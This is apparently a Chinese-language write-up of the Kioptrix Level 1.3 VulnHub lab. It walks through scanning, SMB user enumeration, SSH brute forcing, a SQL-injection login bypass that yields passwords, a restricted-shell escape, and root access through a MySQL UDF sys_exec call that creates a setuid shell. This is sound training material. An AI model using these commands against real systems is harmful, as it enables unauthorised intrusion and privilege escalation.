Kioptrix: Level 1.3
Environment
攻击机(kali):192.168.146.128
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
kali 与靶机为同种网络模式(此处均为 NAT 模式)
Enumeration
Host Enumeration
使用 arp-scan 进行主机探测:sudo arp-scan -l
得到靶机 IP 为:192.168.146.132
Port Enumeration
使用 rustscan 能快速得到端口开放情况:rustscan -a 192.168.146.132
使用 nmap 进行端口扫描获取版本信息:sudo nmap -T4 -sV -O -p- 192.168.146.132
└─$ sudo nmap -T4 -sV -O -p- 192.168.146.132
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 14:46 CST
Nmap scan report for 192.168.146.132
Host is up (0.00077s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:54:12:3A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.65 seconds
Directory Enumeration
使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.146.132 -x 400-599 -t 50
使用 gobuster 进行目录扫描:gobuster dir -u http://192.168.146.132 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
发现两个特殊路径: http://192.168.146.132/john/ http://192.168.146.132/robert/
访问均存在同名 php 文件,点击后会跳转到登录页面,推测 john、robert 可能是存在的用户名。
SMB enumeration
根据端口信息发现存在 SMB 服务,使用 enum4linux 对其进行枚举:enum4linux 192.168.146.132
未获取到 smb 版本号,但枚举出用户名:root、robert、john、loneferret
用户名也可通过 nmap 进行枚举:nmap -T4 --script=smb-enum-users 192.168.146.132
尝试对四个账户进行 ssh 暴破:
hydra -L u.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 192.168.146.132 ssh
暴破失败,此思路仅供参考。
SQL injection
使用任意账号登录,抓取登录的 POST 请求发送到 Repeater 模块进一步测试:
在密码后插入'
后发包出现 mysql 报错,怀疑存在 SQL 注入漏洞,将此请求发送至 Intruder 模块进行模糊测试,选择 Cluster bomb 模式并给用户名密码处打上标记:
用户名 Payload 使用前面获取到的几个用户名:
密码选用 burp 自带的 Fuzzing - SQL injection 字典:
在结果中筛选不同用户名存在 302 跳转的请求,并将其放到浏览器去访问:
进而发现 robert 和 john 账号的密码:
ps:切换不同用户 302 请求前需清理 cookie 或者点击 Logout
john MyNameIsJohn
robert ADGAdsafdfwt4gadfga==
Escaping restricted shell
使用两组账号密码尝试登录 ssh:
登录后发现,只能运行一些有限的命令(两个账号相同情况,不一一展示),在运行一些被禁止的命令后,甚至会被踢下线。这就是一个受限制的 shell(restricted shell),接下来要从这个 restricted shell 中逃离。
以下是逃逸出 restricted shell 的参考资料:
- https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
- https://www.sans.org/blog/escaping-restricted-linux-shells/
通过 help 命令发现可用命令中有 echo,尝试使用 echo 命令进行逃逸:
echo os.system('/bin/bash')
成功获得一个 bash shell。
Privilege Escalation
首先查看 sudo 权限:sudo -l
发现 john 账号没有运行 sudo 的权限,接下来通过ps
命令查看哪些进程在使用 root 权限:
ps aux |grep root
可以发现 mysql 是以 root 权限运行的,猜测网站使用到了 mysql,前往 web 目录即 /var/www 查看是否存在 mysql 配置信息:
在 checklogin.php 文件中发现 mysql 的 root 账号是空密码。
小结一下,现在有了 mysql 账号密码并且知道它以 root 权限运行,那么可以尝试进行 MySQL UDF 提权。
参考文章:
- https://dev.mysql.com/doc/extending-mysql/5.7/en/adding-functions.html
- https://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html
- https://www.sqlsec.com/2020/11/mysql.html
- https://www.sqlsec.com/udf/
登录 mysql 查看数据库内容:mysql -uroot
在 mysql 库中的 func 表里发现已经导入了 lib_mysqludf_sys.so 文件,直接利用 sys_exec 函数创建 root 权限的 shell 即可:
select sys_exec('cp /bin/sh /tmp/shell;chmod u+s /tmp/shell');
\! /tmp/shell
成功提权,并在 /root 目录下找到 flag 即 congrats.txt 文件:
Key Learnings From this BOX
- URL 锚点也可以是一个用户名,在这个靶机中可以参考目录扫描部分;
- 始终检测登录处可能存在的 SQL 注入;
- 可以利用 MySQL 进行提权,例如本靶机中的 MySQL UDF 提权。